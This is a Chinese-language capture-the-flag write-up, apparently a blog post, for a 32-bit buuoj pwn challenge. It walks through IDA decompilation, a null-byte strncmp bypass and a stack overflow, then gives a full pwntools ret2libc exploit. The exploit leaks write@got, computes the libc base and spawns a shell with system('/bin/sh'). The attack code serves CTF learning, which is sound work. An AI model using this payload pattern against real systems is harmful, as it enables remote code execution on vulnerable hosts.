有趣呢还真是

源文件是这个

动态库是这个

ida反编译的结果是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}

总结一下就是:先过sub_804871F函数的关,然后在sub_80487D0引发危险函数。

  1. 先过sub_804871F函数的关:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    int __cdecl sub_804871F(int a1)
    {
    size_t v1; // eax
    char s; // [esp+Ch] [ebp-4Ch]
    char buf[7]; // [esp+2Ch] [ebp-2Ch]
    unsigned __int8 v5; // [esp+33h] [ebp-25h]
    ssize_t v6; // [esp+4Ch] [ebp-Ch]

    memset(&s, 0, 0x20u);
    memset(buf, 0, 0x20u);
    sprintf(&s, "%ld", a1);
    v6 = read(0, buf, 0x20u);
    buf[v6 - 1] = 0;
    v1 = strlen(buf);
    if ( strncmp(buf, &s, v1) )
    exit(0);
    write(1, "Correct\n", 8u);
    return v5;
    }

    在Line15,如果令v1==0,则不会exit,故构造以\x00开头的字符串,并覆盖v5=0xff以为下文使用。

    1
    payload = b'\x00' +b'\xff'*7
  2. 漏洞利用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ssize_t __cdecl sub_80487D0(char a1)
    {
    ssize_t result; // eax
    char buf; // [esp+11h] [ebp-E7h]

    if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
    else
    result = read(0, &buf, a1);
    return result;
    }

    Line6就需要上文\xff的帮助了,故可栈溢出,即先填充0xe7+0x4个垃圾数据,然后为write函数构造假栈帧。

    1
    2
    3
    4
    5
    6
    payload = flat(['a'*(0xe7+4), 
    write_plt,
    main_addr,
    1,
    write_got,
    4])
    • Line1:垃圾数据
    • Line2:返回地址,即write函数的入口
    • Line3:伪造栈帧的返回地址,为了下一步重放操作,自然需要返回到main
    • Line4:参数1,即write函数的第一个参数,1表示标准输出
    • Line5:参数2,即write函数的第二个参数,表示输出的地址,此输出地址是write函数的got表的地址
    • Line6:参数3,即write函数的第三个参数,表示输出的长度,32位系统为4
  3. 计算基址偏移,以得到system/bin/sh

  4. 重放一次上述操作,到达脆弱函数处,运行危险函数,执行payload为:

    1
    2
    3
    4
    payload = flat(['a'*(0xe7+4),
    sys_add,
    'a'*4,
    binsh_add])
    • Line1:垃圾数据
    • Line2:返回地址,即system函数的入口
    • Line3:伪造栈帧的返回地址,在此无所谓了
    • Line4:system函数的参数

总exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# from pwn import *

# # p=process('./pwn')
# p=remote('node4.buuoj.cn',27741)

# pay1=b'\0'+b'\xff'*7
# p.sendline(pay1)
# p.interactive()

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

# context(os='linux', arch='amd64')

sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
rl=lambda :io.recvline()
ru=lambda x:io.recvuntil(x)

# io = process('./pwn')
io = remote("node4.buuoj.cn",27741)

elf=ELF('./pwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825

libc=ELF('./libc-2.23.so')
system_libc=libc.symbols['system']
binsh_libc=libc.search(b'/bin/sh').__next__()
print('hiiiiiiiiiiiiiii',binsh_libc)
write_libc=libc.symbols['write']

# write_plt = 0x08048578
# write_got = 0x08049FEC
# main_addr = 0x08048825

payload = b'\x00' +b'\xff'*7
sl(payload)
ru("Correct\n")

payload = flat(['a'*(0xe7+4),
write_plt,
main_addr,
1,
write_got,
4])
sl(payload)

write_addr = u32(io.recv()[0:4])
print('write_addr', hex(write_addr))


# libc = LibcSearcher('write',write_addr)
# libcbase = write_addr - libc.dump('write')
# sys_add = libcbase + libc.dump("system")
# binsh_add = libcbase + libc.dump("str_bin_sh")

libcbase = write_addr - write_libc
sys_add = libcbase + system_libc
binsh_add = libcbase + binsh_libc

payload = '\x00' + 'a'*6+ '\xff'
sl(payload)
ru("Correct\n")

payload = flat(['a'*(0xe7+4),
sys_add,
'a'*4,
binsh_add])
sl(payload)

io.interactive()